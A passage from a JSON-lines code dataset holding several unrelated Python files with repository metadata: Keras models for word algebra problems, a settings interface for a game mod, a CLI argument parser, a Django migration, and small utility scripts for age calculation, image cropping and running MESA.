= Embedding(vocab_size, 16, input_length=PROBLEM_LENGTH)(inputs) # => (?, 105, 16)\n\n\n\n '''\n # v1: softmax ver\n #l0 = keras.layers.GRU(32, return_sequences=True)(emb)\n l0 = keras.layers.GRU(32, return_sequences=False)(emb) # => (?, 32)\n l0 = Dense(num_decoder_tokens * vocab_size, activation='softmax')(l0)\n #l0 = Dense(8, activation='softmax')(l0)\n print(l0.shape)\n l0 = keras.layers.Reshape((num_decoder_tokens, vocab_size))(l0)\n l0 = TimeDistributed(Dense(num_decoder_tokens, activation='softmax'))(l0)\n print('output shape:')\n print(l0.shape)\n '''\n\n '''\n '''\n # v1: linear act ver\n l0 = keras.layers.GRU(32, return_sequences=False)(emb) # => (?, 32)\n\n l0 = keras.layers.RepeatVector(num_decoder_tokens)(l0)\n l0 = keras.layers.GRU(32, return_sequences=True)(l0) # => (?, 32)\n #l0 = Dense(num_decoder_tokens, activation='relu')(l0)\n #l0 = keras.layers.Reshape((num_decoder_tokens, 1))(l0) # change \"1\" to vocab_size for categorical loss approach\n #l0 = TimeDistributed(Dense(num_decoder_tokens, activation='softmax'))(l0)\n\n #l0 = TimeDistributed(Dense(num_decoder_tokens, activation='linear'))(l0)\n l0 = TimeDistributed(Dense(1, activation='linear'))(l0)\n #l0 = Dense(num_decoder_tokens, activation='linear')(l0)\n print('output shape:')\n print(l0.shape)\n\n\n # v2: enc-dec\n '''\n encoder = keras.layers.GRU(32, return_state=True)\n enc_outs, enc_h = encoder(emb) # enc_h: encoder states\n\n dec_inp = Input(shape=(None, num_decoder_tokens))\n decoder = keras.layers.GRU(32, return_sequences=True, return_state=True)\n #decoder = keras.layers.GRU(32, return_state=True)\n\n #dec_outs, _ = decoder(dec_inp, initial_state=enc_h)\n dec_outs, _ = decoder(enc_outs, initial_state=enc_h)\n print(dec_outs.shape)\n l0 = dec_outs\n #dense = Dense(num_decoder_tokens * vocab_size, activation='softmax')(enc_outs)\n\n #model.add(Dense(hidden_neurons, in_out_neurons))\n #dense = Dense(32, vocab_size, activation='softmax')(enc_outs)\n #print(dense.shape)\n #dense = keras.layers.Reshape((num_decoder_tokens, vocab_size))(dense)\n\n l0 = TimeDistributed(Dense(num_decoder_tokens, activation='softmax'))(l0)\n print('output shape:')\n print(l0.shape)\n '''\n\n\n #model = Model(inputs=inputs, outputs=outputs) # => (?, 105, 8)\n #model = Model(inputs=[inputs, dec_inp], outputs=dec_outs)\n model = Model(inputs=inputs, outputs=l0)\n #model.compile('adam', 'sparse_categorical_crossentropy', metrics=['acc'])\n model.compile('adam', 'mse', metrics=['acc'])\n return model\n\ndef custom_softmax(t):\n \"\"\"\n https://datascience.stackexchange.com/questions/23614/keras-multiple-softmax-in-last-layer-possible\n \"\"\"\n from keras import backend as K\n sh = K.shape(t)\n partial_sm = []\n for i in range(sh[1] // 4):\n partial_sm.append(K.softmax(t[:, i*4:(i+1)*4]))\n return K.concatenate(partial_sm)\n\n\ndef feed_forward_mlp_model(batch_size, input_shape, vocab_size, emb_layer=None):\n '''\n Deep neural network model to get F(x) which is to be fed to SPENs\n '''\n print(input_shape) # 105,\n print(vocab_size) # => 183\n print(keras.__version__)\n num_output = 9 # since the template vector has 9 elems\n num_classes = 10 # debug\n\n inputs = Input(shape=input_shape)\n if emb_layer:\n emb = emb_layer(inputs)\n else:\n emb = Embedding(vocab_size, 16, input_length=globals.PROBLEM_LENGTH)(inputs) # => (?, 105, 16)\n l0 = keras.layers.GRU(32, return_sequences=False)(emb) # => (?, 32)\n\n # 9 Dense layers for predicting word index in each slot\n outputs = []\n for i in range(num_output):\n #outputs.append( Dense(num_output, activation='softmax')(l0) )\n if i == 0:\n outputs.append( Dense(230, activation='softmax')(l0) ) # template\n elif i == 1 or i == 2:\n outputs.append( Dense(vocab_size, activation='softmax')(l0) ) # unknowns\n elif i > 2 and i < 10:\n outputs.append( Dense(globals.PROBLEM_LENGTH, activation='softmax')(l0) ) # coeffs\n\n '''\n # construct the output vector based on the prediction result from each softmax\n #from keras import backend as K\n import tensorflow as tf\n #output = tf.zeros([batch_size, num_output], tf.int32)\n output = np.zeros((batch_size, num_output))\n print(output.shape)\n\n for i in range(num_output):\n output[:, i] = list_out[:, i]\n l0 = tf.convert_to_tensor(output, np.int32)\n '''\n\n\n model = Model(inputs=inputs, outputs=outputs)\n #model = Model(inputs=inputs, outputs=[ outputs[0], outputs[1] ])\n model.compile('adam', 'sparse_categorical_crossentropy', metrics=['acc'])\n\n return model\n\n\ndef feed_forward_mlp_model_coeffs(batch_size, input_shape, vocab_size, emb_layer):\n '''\n Deep neural network model to get F(x) which is to be fed to SPENs\n '''\n print(input_shape) # 105,\n print(vocab_size) # => 183\n print(keras.__version__)\n num_output = 7 # since the template vector has 7 elems (without unknowns)\n\n inputs = Input(shape=input_shape)\n #emb = Embedding(vocab_size, 16, input_length=globals.PROBLEM_LENGTH)(inputs) # => (?, 105, 16)\n emb = emb_layer(inputs)\n\n #l0 = keras.layers.GRU(32, return_sequences=False)(emb) # => (?, 32)\n print('emb shape:') # (?, 105, 16)\n print(emb.shape)\n l0 = keras.layers.Flatten()(emb)\n l0 = keras.layers.Dense(128, activation='relu')(l0)\n #l0 = keras.layers.Dense(128, activation='relu')(l0)\n\n # 9 Dense layers for predicting word index in each slot\n outputs = []\n for i in range(num_output):\n if i == 0:\n outputs.append( Dense(230, activation='softmax')(l0) ) # template\n elif i > 0 and i < num_output+1: # i < 7\n outputs.append( Dense(globals.PROBLEM_LENGTH, activation='softmax')(l0) ) # coeffs\n print('output shape:')\n print(outputs[0].shape) # => batch_size x 7\n model = Model(inputs=inputs, outputs=outputs)\n\n # single last dense layer version\n #Dense(num_output, activation='linear')(l0)\n #l0 = Dense(num_output)(l0) # => outputs logits\n #model = Model(inputs=inputs, outputs=l0)\n\n\n optimizer = keras.optimizers.Adam(lr=0.01, beta_1=0.9, beta_2=0.999, epsilon=None, decay=0.0, amsgrad=False)\n #model.compile(optimizer, 'categorical_crossentropy', metrics=['acc']) # tf.nn.softmax_cross_entropy_with_logits equivalent?\n model.compile(optimizer, loss=custom_loss3, metrics=['acc'])\n\n return model\n\n\n############################################################################################\n# Custom loss function\n# ref: https://stackoverflow.com/questions/45961428/make-a-custom-loss-function-in-keras\n############################################################################################\nfrom keras import backend as K\n# ref: https://stackoverflow.com/questions/46594115/euclidean-distance-loss-function-for-rnn-keras\ndef euc_dist_keras(y_true, y_pred):\n return K.sqrt(K.sum(K.square(y_true - y_pred), axis=-1, keepdims=True))\n\ndef derivation_loss(y_true, y_pred):\n \"\"\"\n @param: y_true: A tensor containing true labels.\n @param: y_pred:\n \"\"\"\n #print('debug:')\n #print(y_true.shape) # (?, ?)\n #print(y_pred.shape) # (?, 7)\n return euc_dist_keras(y_true, y_pred)\n\n'''\ndef custom_loss():\n def derivation(y_true, y_pred):\n return -derivation_loss(y_true, y_pred)\n return derivation\n'''\ndef custom_loss(y_true, y_pred):\n def loss(y_true, y_pred):\n loss = 0\n num_output = 7\n for i in range(num_output):\n print(y_pred[i].shape)\n #loss += tf.nn.softmax_cross_entropy_with_logits(labels=y_true[i], logits=y_pred[i]) # y_pred[i] is a vector\n loss += keras.losses.categorical_crossentropy(y_true[i], y_pred[i]) # y_pred[i] is a vector\n return loss\n return loss(y_true, y_pred)\n\n\ndef get_layers():\n layers = [(1000, 'relu')]\n enlayers = [(250, 'softplus')]\n return (layers, enlayers)\n\n\ndef main():\n template_size = 9\n batch_size = 128\n\n derivations, vocab_dataset = debug()\n X, Y = derivations\n X = pad_sequences(X, padding='post', truncating='post', value=0., maxlen=globals.PROBLEM_LENGTH)\n X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.2, random_state=globals.SEED)\n ntrain = X_train.shape[0]\n print(X_train.shape)\n print(X_test.shape)\n\n vocab_size = len(vocab_dataset.keys())\n emb_layer = load_glove(vocab_dataset)\n F = feed_forward_mlp_model(batch_size, X.shape[1:], vocab_size, emb_layer)\n F.summary()\n\n # (convert y to one-hot in the case of categorical losses)\n '''\n targets = []\n for i in range(template_size):\n if i == 0:\n targets.append( keras.utils.to_categorical(y_train[:,i], num_classes=230) )\n elif i == 1 or i == 2:\n targets.append( keras.utils.to_categorical(y_train[:,i], num_classes=vocab_size) )\n else:\n targets.append( keras.utils.to_categorical(y_train[:,i], num_classes=105) )\n test_targets = []\n for i in range(template_size):\n if i == 0:\n test_targets.append( keras.utils.to_categorical(y_test[:,i], num_classes=230) )\n elif i == 1 or i == 2:\n test_targets.append( keras.utils.to_categorical(y_test[:,i], num_classes=vocab_size) )\n else:\n test_targets.append( keras.utils.to_categorical(y_test[:,i], num_classes=105) )\n print(y_train.shape)\n print(y_test.shape)\n '''\n targets = []\n for i in range(template_size):\n targets.append(y_train[:,i])\n test_targets = []\n for i in range(template_size):\n test_targets.append(y_test[:,i])\n\n F.fit(X_train, targets, batch_size=batch_size, epochs=100, validation_data=(X_test, test_targets))\n #F.fit(X_train, y_train, batch_size=batch_size, epochs=100, validation_data=(X_test, y_test))\n #out_batch = NBatchLogger(display=10) # show every 10 batches\n #F.fit(X_train, y_train, batch_size=batch_size, epochs=100, validation_data=(X_test, y_test), callbacks=[out_batch], verbose=0)\n F.save('baseline_debug.h5')\n print('='*100)\n print(F.predict(X_test)[0].shape) # 7,\n print(F.predict(X_test)[1].shape) # 7,\n pred_train = F.predict(X_train)\n\n '''\n print('preds shape:')\n print(pred_train.shape) # (2, 7) or (103,7)\n preds = []\n for out in pred_train:\n tmp = np.argmax(out, axis=1)\n preds.append(tmp)\n preds = np.array(preds)\n print(preds[0])\n\n\n # Convert the output back to (N x temlpate_size)\n preds = preds.reshape(-1, template_size)\n print(preds.shape)\n y_pred_test = preds'''\n\n for i in range(y_train[:10].shape[0]):\n print('='*100)\n #print(derivation_to_equation(y_pred[i].reshape((TEMPLATE_LENGTH,))))\n #print(derivation_to_equation(y_test[i].reshape((TEMPLATE_LENGTH,))))\n #print(derivation_to_equation(y_pred[i]))\n #print(derivation_to_equation(y_test[i]))\n print(y_train[i])\n print(pred_train[i])\n\n print('#'*100)\n print('#'*100)\n\n for i in range(y_pred_test[:10].shape[0]):\n print('='*100)\n #print(derivation_to_equation(y_pred[i].reshape((TEMPLATE_LENGTH,))))\n #print(derivation_to_equation(y_test[i].reshape((TEMPLATE_LENGTH,))))\n #print(derivation_to_equation(y_pred[i]))\n #print(derivation_to_equation(y_test[i]))\n print(y_pred_test[i])\n print(y_test[i])\n\n\nif __name__ == \"__main__\":\n globals.init()\n main()\n","repo_name":"nikhil15iitd/WordAlgebra","sub_path":"train_mlp.py","file_name":"train_mlp.py","file_ext":"py","file_size_in_byte":14906,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"41793463910","text":"from armagomen._constants import ANOTHER, CONFIG_INTERFACE, DEBUG_PANEL, DISPERSION, GLOBAL, HP_BARS, MAIN, MINIMAP, \\\n MOD_NAME, PANELS, SIXTH_SENSE, SNIPER, STATISTICS, URLS\nfrom armagomen.battle_observer.settings.hangar.i18n import localization, LOCKED_MESSAGE\nfrom armagomen.utils.common import logDebug, logWarning, openWebBrowser, settings, xvmInstalled\nfrom debug_utils import LOG_CURRENT_EXCEPTION\nfrom gui.shared.personality import ServicesLocator\nfrom Keys import KEY_LALT, KEY_RALT\nfrom skeletons.gui.app_loader import GuiGlobalSpaceID\n\nsettingsVersion = 37\nLOCKED_BLOCKS = (STATISTICS.NAME, PANELS.PANELS_NAME, MINIMAP.NAME)\n\n\ndef makeTooltip(header=None, body=None, note=None, attention=None):\n res_str = ''\n if header is not None:\n res_str += '{HEADER}%s{/HEADER}' % header\n if body is not None:\n res_str += '{BODY}%s{/BODY}' % body\n if note is not None:\n res_str += '{NOTE}%s{/NOTE}' % note\n if attention is not None:\n res_str += '{ATTENTION}%s{/ATTENTION}' % attention\n return res_str\n\n\ndef importApi():\n try:\n from gui.modsListApi import g_modsListApi\n from gui.vxSettingsApi import vxSettingsApi, vxSettingsApiEvents\n except Exception as error:\n from armagomen.battle_observer.core.loading_error import LoadingError\n from debug_utils import LOG_CURRENT_EXCEPTION\n LoadingError(repr(error))\n LOG_CURRENT_EXCEPTION()\n else:\n return g_modsListApi, vxSettingsApi, vxSettingsApiEvents\n return None\n\n\nclass Getter(object):\n __slots__ = ()\n\n @staticmethod\n def getLinkToParam(settings_block, settingPath):\n path = settingPath.split(GLOBAL.C_INTERFACE_SPLITTER)\n for fragment in path:\n if fragment in settings_block and isinstance(settings_block[fragment], dict):\n settings_block = settings_block[fragment]\n return settings_block, path[GLOBAL.LAST]\n\n @staticmethod\n def getCollectionIndex(value, collection):\n index = GLOBAL.ZERO\n if value in collection:\n index = collection.index(value)\n return collection, index\n\n def getKeyPath(self, settings_block, path=()):\n for key, value in settings_block.iteritems():\n key_path = path + (key,)\n if isinstance(value, dict):\n for _path in self.getKeyPath(value, key_path):\n yield _path\n else:\n yield key_path\n\n def keyValueGetter(self, settings_block):\n for key in self.getKeyPath(settings_block):\n key = GLOBAL.C_INTERFACE_SPLITTER.join(key)\n if GLOBAL.ENABLED != key:\n dic, param = self.getLinkToParam(settings_block, key)\n yield key, dic[param]\n\n\nclass CreateElement(object):\n\n def __init__(self):\n self.getter = Getter()\n\n @staticmethod\n def createLabel(blockID, name):\n block = localization.get(blockID, {})\n if name not in block:\n return None\n return {\n 'type': 'Label', 'text': block[name],\n 'tooltip': makeTooltip(block[name], block.get('{}_tooltip'.format(name))),\n 'tooltipIcon': 'no_icon'\n }\n\n @staticmethod\n def createEmpty():\n return {'type': 'Empty'}\n\n @staticmethod\n def getControlType(value, cType):\n if cType is None:\n if isinstance(value, str):\n if value.startswith(\"#\"):\n return 'TextInputColor'\n return 'TextInputField'\n elif type(value) == bool:\n return 'CheckBox'\n else:\n return cType\n\n def createControl(self, blockID, varName, value, cType=None):\n result = self.createLabel(blockID, varName)\n if result is not None:\n result.update({'type': self.getControlType(value, cType), 'value': value, 'varName': varName,\n GLOBAL.WIDTH: 350, 'defaultSelection': False})\n if cType == 'Button':\n result.update({GLOBAL.WIDTH: 250, 'btnName': varName})\n return result\n\n def createDropDown(self, blockID, varName, values, value):\n result = self.createControl(blockID, varName, value, cType='Dropdown')\n if result is not None:\n result.update({'options': [{'label': x} for x in values]})\n return result\n\n def createSixthSenseDropDown(self, blockID, varName, icons, icon):\n result = self.createControl(blockID, varName, icon, cType='Dropdown')\n if result is not None:\n image = \"<img src='img://gui/maps/icons/battle_observer/sixth_sense/{}' width='180' height='180'>\"\n result.update({'options': [{'label': x[:-4], 'tooltip': makeTooltip(body=image.format(x))} for x in icons],\n GLOBAL.WIDTH: 180})\n return result\n\n def createDebugStyleDropDown(self, blockID, varName, icons, icon):\n result = self.createControl(blockID, varName, icon, cType='Dropdown')\n if result is not None:\n image = \"<img src='img://gui/maps/icons/battle_observer/style/debug/{}.jpg' width='240' height='52'>\"\n result.update({'options': [{'label': x, 'tooltip': makeTooltip(body=image.format(x))} for x in icons],\n GLOBAL.WIDTH: 190})\n return result\n\n def createBarStyleDropDown(self, blockID, varName, icons, icon):\n result = self.createControl(blockID, varName, icon, cType='Dropdown')\n if result is not None:\n image = \"<img src='img://gui/maps/icons/battle_observer/style/health/{}.jpg' width='300' height='24'>\"\n result.update({'options': [{'label': x, 'tooltip': makeTooltip(body=image.format(x))} for x in icons],\n GLOBAL.WIDTH: 190})\n return result\n\n def createRadioButtonGroup(self, blockID, varName, options, value):\n result = self.createDropDown(blockID, varName, options, value)\n if result is not None:\n result.update(type=\"RadioButtonGroup\")\n return result\n\n def createHotKey(self, blockID, varName, value):\n result = self.createControl(blockID, varName, value, cType='KeyInput')\n if result is not None:\n result['defaultValue'] = [[KEY_LALT, KEY_RALT]]\n return result\n\n def __createNumeric(self, blockID, varName, cType, value, vMin=GLOBAL.ZERO, vMax=GLOBAL.ZERO):\n result = self.createControl(blockID, varName, value, cType=cType)\n if result is not None:\n result.update({'minimum': vMin, 'maximum': vMax})\n return result\n\n def createStepper(self, blockID, varName, vMin, vMax, step, value):\n result = self.__createNumeric(blockID, varName, 'NumericStepper', value, vMin, vMax)\n if result is not None:\n result.update({'stepSize': step, 'canManualInput': True})\n return result\n\n def createSlider(self, blockID, varName, vMin, vMax, step, value):\n result = self.__createNumeric(blockID, varName, 'Slider', value, vMin, vMax)\n if result is not None:\n result.update({'snapInterval': step, 'format': '{{value}}'})\n return result\n\n @staticmethod\n def createBlock(blockID, params, column1, column2):\n name = localization.get(blockID, {}).get(\"header\", blockID)\n warning = xvmInstalled and blockID in LOCKED_BLOCKS\n if warning:\n name = \" \".join((name, \"<font color='#ff3d3d'>{}</font>\".format(LOCKED_MESSAGE)))\n return {\n 'modDisplayName': \"<font color='#FFFFFF'>{}</font>\".format(name),\n 'settingsVersion': settingsVersion, GLOBAL.ENABLED: params.get(GLOBAL.ENABLED, True) and not warning,\n 'showToggleButton': GLOBAL.ENABLED in params and not warning, 'inBattle': False,\n 'position': CONFIG_INTERFACE.BLOCK_IDS.index(blockID), 'column1': column1, 'column2': column2\n }\n\n def createItem(self, blockID, key, value):\n val_type = type(value)\n if val_type == str:\n if GLOBAL.ALIGN in key:\n return self.createRadioButtonGroup(blockID, key,\n *self.getter.getCollectionIndex(value, GLOBAL.ALIGN_LIST))\n elif blockID == HP_BARS.NAME and HP_BARS.STYLE == key:\n return self.createBarStyleDropDown(blockID, key, *self.getter.getCollectionIndex(value, HP_BARS.STYLES))\n elif blockID == DEBUG_PANEL.NAME and DEBUG_PANEL.STYLE == key:\n return self.createDebugStyleDropDown(blockID, key,\n *self.getter.getCollectionIndex(value, DEBUG_PANEL.STYLES))\n elif blockID == SIXTH_SENSE.NAME and key == SIXTH_SENSE.ICON_NAME:\n return self.createSixthSenseDropDown(blockID, key,\n *self.getter.getCollectionIndex(value, SIXTH_SENSE.ICONS))\n if val_type == str or val_type == bool:\n return self.createControl(blockID, key, value)\n elif val_type == int:\n return self.createStepper(blockID, key, -2000, 2000, GLOBAL.ONE, value)\n elif val_type == float:\n if DISPERSION.SCALE in key:\n return self.createSlider(blockID, key, 0.3, 1.0, 0.01, value)\n if STATISTICS.ICON_BLACKOUT in key:\n return self.createStepper(blockID, key, -2.0, 2.0, 0.01, value)\n elif GLOBAL.ZERO <= value <= GLOBAL.F_ONE:\n return self.createStepper(blockID, key, GLOBAL.ZERO, 2.0, 0.01, value)\n else:\n return self.createStepper(blockID, key, GLOBAL.ZERO, 300.0, GLOBAL.F_ONE, value)\n elif val_type == list:\n if \"_hotkey\" in key:\n return self.createHotKey(blockID, key, value)\n elif SNIPER.STEPS in key:\n return self.createControl(blockID, key, GLOBAL.COMMA_SEP.join((str(x) for x in value)))\n\n\nclass SettingsInterface(CreateElement):\n\n def __init__(self, settingsLoader, version):\n api = importApi()\n if api is None:\n return\n self.modsListApi, self.vxSettingsApi, self.apiEvents = api\n super(SettingsInterface, self).__init__()\n self.sLoader = settingsLoader\n self.inited = set()\n self.currentConfigID = self.newConfigID = self.sLoader.configsList.index(self.sLoader.configName)\n self.newConfigLoadingInProcess = False\n localization['service']['name'] = localization['service']['name'].format(version)\n localization['service']['windowTitle'] = localization['service']['windowTitle'].format(version)\n self.vxSettingsApi.addContainer(MOD_NAME, localization['service'], skipDiskCache=True,\n useKeyPairs=settings.main[MAIN.USE_KEY_PAIRS])\n self.vxSettingsApi.onFeedbackReceived += self.onFeedbackReceived\n ServicesLocator.appLoader.onGUISpaceEntered += self.loadHangarSettings\n settings.onUserConfigUpdateComplete += self.onUserConfigUpdateComplete\n\n def loadHangarSettings(self, spaceID):\n if spaceID == GuiGlobalSpaceID.LOGIN:\n self.addModificationToModList()\n self.addModsToVX()\n ServicesLocator.appLoader.onGUISpaceEntered -= self.loadHangarSettings\n\n def addModificationToModList(self):\n \"\"\"register settings window in modsListApi\"\"\"\n kwargs = {\n 'id': MOD_NAME, 'name': localization['service']['name'],\n 'description': localization['service']['description'],\n 'icon': 'gui/maps/icons/battle_observer/hangar_settings_image.png',\n GLOBAL.ENABLED: True, 'login': True, 'lobby': True, 'callback': self.load_window\n }\n self.modsListApi.addModification(**kwargs)\n\n def addModsToVX(self):\n for blockID in CONFIG_INTERFACE.BLOCK_IDS:\n if blockID in self.inited:\n continue\n try:\n template = self.getTemplate(blockID)\n if template is not None:\n self.vxSettingsApi.addMod(MOD_NAME, blockID, lambda *args: template, dict(), lambda *args: None,\n button_handler=self.onButtonPress)\n except Exception as err:\n logWarning('SettingsInterface addModsToVX: {}'.format(repr(err)))\n LOG_CURRENT_EXCEPTION(tags=[MOD_NAME])\n else:\n self.inited.add(blockID)\n\n def load_window(self):\n \"\"\"Loading settings window\"\"\"\n self.vxSettingsApi.loadWindow(MOD_NAME)\n\n def onUserConfigUpdateComplete(self):\n if self.newConfigLoadingInProcess:\n for blockID in CONFIG_INTERFACE.BLOCK_IDS:\n self.updateMod(blockID)\n self.load_window()\n\n def onFeedbackReceived(self, container, event):\n \"\"\"Feedback EVENT\"\"\"\n if container != MOD_NAME:\n return\n self.newConfigLoadingInProcess = self.currentConfigID != self.newConfigID\n if event == self.apiEvents.WINDOW_CLOSED:\n self.vxSettingsApi.onSettingsChanged -= self.onSettingsChanged\n self.vxSettingsApi.onDataChanged -= self.onDataChanged\n if self.newConfigLoadingInProcess:\n self.inited.clear()\n self.sLoader.readOtherConfig(self.newConfigID)\n self.currentConfigID = self.newConfigID\n elif event == self.apiEvents.WINDOW_LOADED:\n self.vxSettingsApi.onSettingsChanged += self.onSettingsChanged\n self.vxSettingsApi.onDataChanged += self.onDataChanged\n\n def updateMod(self, blockID):\n if blockID not in self.inited:\n try:\n template = self.getTemplate(blockID)\n if template is not None:\n self.vxSettingsApi.updateMod(MOD_NAME, blockID, lambda *args: template)\n except Exception:\n LOG_CURRENT_EXCEPTION(tags=[MOD_NAME])\n else:\n self.inited.add(blockID)\n\n def onSettingsChanged(self, modID, blockID, data):\n \"\"\"Saves made by the user settings in the settings file.\"\"\"\n if self.newConfigLoadingInProcess or MOD_NAME != modID:\n return\n if blockID == ANOTHER.CONFIG_SELECT and self.currentConfigID != data['selector']:\n self.newConfigID = data['selector']\n self.vxSettingsApi.processEvent(MOD_NAME, self.apiEvents.CALLBACKS.CLOSE_WINDOW)\n logDebug(\"change config '{}' - {}\", self.sLoader.configsList[self.newConfigID], blockID)\n else:\n settings_block = getattr(settings, blockID)\n for key, value in data.iteritems():\n updated_config_link, param_name = self.getter.getLinkToParam(settings_block, key)\n if param_name in updated_config_link:\n if GLOBAL.ALIGN in key:\n value = GLOBAL.ALIGN_LIST[value]\n elif blockID == HP_BARS.NAME and key == HP_BARS.STYLE and not isinstance(value, str):\n value = HP_BARS.STYLES[value]\n elif blockID == DEBUG_PANEL.NAME and key == DEBUG_PANEL.STYLE and not isinstance(value, str):\n value = DEBUG_PANEL.STYLES[value]\n elif blockID == SIXTH_SENSE.NAME and key == SIXTH_SENSE.ICON_NAME and not isinstance(value, str):\n value = SIXTH_SENSE.ICONS[value]\n elif key == \"zoomSteps*steps\":\n steps = [round(float(x.strip()), GLOBAL.ONE) for x in value.split(',')]\n value = [val for val in steps if val >= 2.0]\n if type(value) == int and type(updated_config_link[param_name]) == float:\n value = float(value)\n updated_config_link[param_name] = value\n self.sLoader.updateConfigFile(blockID, settings_block)\n settings.onModSettingsChanged(settings_block, blockID)\n\n def onDataChanged(self, modID, blockID, varName, value, *a, **k):\n \"\"\"Darkens dependent elements...\"\"\"\n if modID != MOD_NAME or blockID not in CONFIG_INTERFACE.BLOCK_IDS:\n return\n if blockID in CONFIG_INTERFACE.HANDLER_VALUES:\n if varName in CONFIG_INTERFACE.HANDLER_VALUES[blockID]:\n values = CONFIG_INTERFACE.HANDLER_VALUES[blockID][varName]\n self.setHandlerValue(blockID, values, value)\n if blockID == MAIN.NAME and varName == MAIN.USE_KEY_PAIRS:\n self.vxSettingsApi.getContainer(MOD_NAME)._vxSettingsCtrl__useHkPairs = value\n\n def setHandlerValue(self, blockID, values, value):\n get_object = self.vxSettingsApi.getDAAPIObject\n for varName in values:\n obj = get_object(blockID, varName)\n if obj is not None:\n obj.alpha = 0.4 if not value else GLOBAL.F_ONE\n obj.mouseEnabled = value\n obj.mouseChildren = value\n obj.tabEnabled = value\n\n @staticmethod\n def onButtonPress(container, blockID, varName, value):\n if container == MOD_NAME and blockID == ANOTHER.CONFIG_SELECT:\n if varName in CONFIG_INTERFACE.DONATE_BUTTONS:\n openWebBrowser(value)\n\n def items(self, blockID, settings_block):\n for key, value in self.getter.keyValueGetter(settings_block):\n item = self.createItem(blockID, key, value)\n if item is not None:\n yield item\n\n def getTemplate(self, blockID):\n \"\"\"Create templates, do not change...\"\"\"\n settings_block = getattr(settings, blockID, {})\n if blockID == ANOTHER.CONFIG_SELECT:\n column1 = [self.createRadioButtonGroup(blockID, 'selector', self.sLoader.configsList, self.currentConfigID)]\n column2 = [self.createControl(blockID, 'donate_button_ua', URLS.DONATELLO, 'Button'),\n self.createControl(blockID, 'donate_button_paypal', URLS.PAYPAL_URL, 'Button'),\n self.createControl(blockID, 'donate_button_patreon', URLS.PATREON_URL, 'Button'),\n self.createControl(blockID, 'discord_button', URLS.DISCORD, 'Button')]\n else:\n columns = sorted(self.items(blockID, settings_block), key=lambda x: x[\"varName\"])\n middle_index = (len(columns) + int(len(columns) % 2 != 0)) / 2\n column1 = columns[:middle_index]\n column2 = columns[middle_index:]\n return self.createBlock(blockID, settings_block, column1, column2) if column1 or column2 else None\n","repo_name":"Armagomen/battle_observer","sub_path":"mod/res/scripts/client/armagomen/battle_observer/settings/hangar/hangar_settings.py","file_name":"hangar_settings.py","file_ext":"py","file_size_in_byte":18565,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"69"} +{"seq_id":"24636918167","text":"import argparse\n\n\nclass CliArgsParser:\n def __init__(self):\n self.parser = argparse.ArgumentParser(\n description=\"$ python main.py \"\n \"-q '\\\"python developer\\\" AND \\\"London\\\"' \"\n \"-p '4,5'\"\n \"-x '192.0.2.146:80'\"\n \"-v 'Senior Full Stack Developer (Platform)'\"\n )\n\n def parse(self):\n self.add_query_argument()\n self.add_pages_argument()\n self.add_proxy_argument()\n self.add_vacancy_argument()\n\n return self.parser.parse_args()\n\n def add_query_argument(self):\n self.parser.add_argument(\n '-q',\n '--query',\n type=str,\n help='\\'\"python developer\" AND \"London\"\\''\n )\n\n def add_pages_argument(self):\n self.parser.add_argument(\n '-p',\n '--pages',\n type=str,\n help=\"'3,4'\"\n )\n\n def add_proxy_argument(self):\n self.parser.add_argument(\n '-x',\n '--proxy',\n type=str,\n help=\"'192.0.2.146:80'\"\n )\n\n def add_vacancy_argument(self):\n self.parser.add_argument(\n '-v',\n '--vacancy',\n type=str,\n help=\"'Senior Full Stack Developer (Platform)'\"\n )\n","repo_name":"Alexander-Andrade/heri_helper","sub_path":"src/cli/cli_args_parser.py","file_name":"cli_args_parser.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"11457483753","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('theme', '0008_auto_20170622_2141'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='userprofile',\n name='create_irods_user_account',\n ),\n ]\n","repo_name":"heliumdatacommons/commonsshare","sub_path":"theme/migrations/0009_remove_userprofile_create_irods_user_account.py","file_name":"0009_remove_userprofile_create_irods_user_account.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"3684817590","text":"from datetime import date\r\n\r\n\r\ndef calage(birthdate):\r\n today = date.today()\r\n age = today.year - birthdate.year - ((today.month, today.day) < (birthdate.month, birthdate.day))\r\n return age\r\n\r\n\r\nprint(calage(date(2000, 9, 26)), \"years\")\r\n","repo_name":"SreeragKU/Semeser-1-Python-Programming","sub_path":"CO3 and CO4/Exp13.py","file_name":"Exp13.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"12601468115","text":"import cv2\nimport numpy as np\n\nimg = cv2.imread(\"image4.png\")\n\nwhite_lower = np.asarray([230, 230, 230])\nwhite_upper = np.asarray([255, 255, 255])\n\nmask = cv2.inRange(img, white_lower, white_upper)\nmask = cv2.bitwise_not(mask)\n\n\n\ncnt, hierarchy = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\nlargest_contour = max(cnt, key=lambda x:cv2.contourArea(x))\nbounding_rect = cv2.boundingRect(largest_contour)\n\ncropped_image = img[bounding_rect[1]: bounding_rect[1]+bounding_rect[3],\n bounding_rect[0]:bounding_rect[0]+bounding_rect[2]]\n\n\ncv2.imwrite(\"image4new.png\", cropped_image)","repo_name":"christopherchewa/my-scripts","sub_path":"imagecrop.py","file_name":"imagecrop.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"30203727979","text":"import os\nimport sys\nimport glob\nimport subprocess\nimport datetime\nimport numpy as np\nimport mesa_reader as mr\nfrom shutil import copy2, move\nfrom distutils.dir_util import copy_tree\nfrom mesatools.inlist import MesaInlist\n\n\nclass MesaRunner:\n \"\"\"Runs MESA using the desired inlist.\n\n It is also capable of various other useful manipulations.\n\n Attributes:\n inlist (str): Name of the inlist used in the run.\n last_inlist (str): Name of the last inlist to run.\n pgstar (bool): Enable/disable 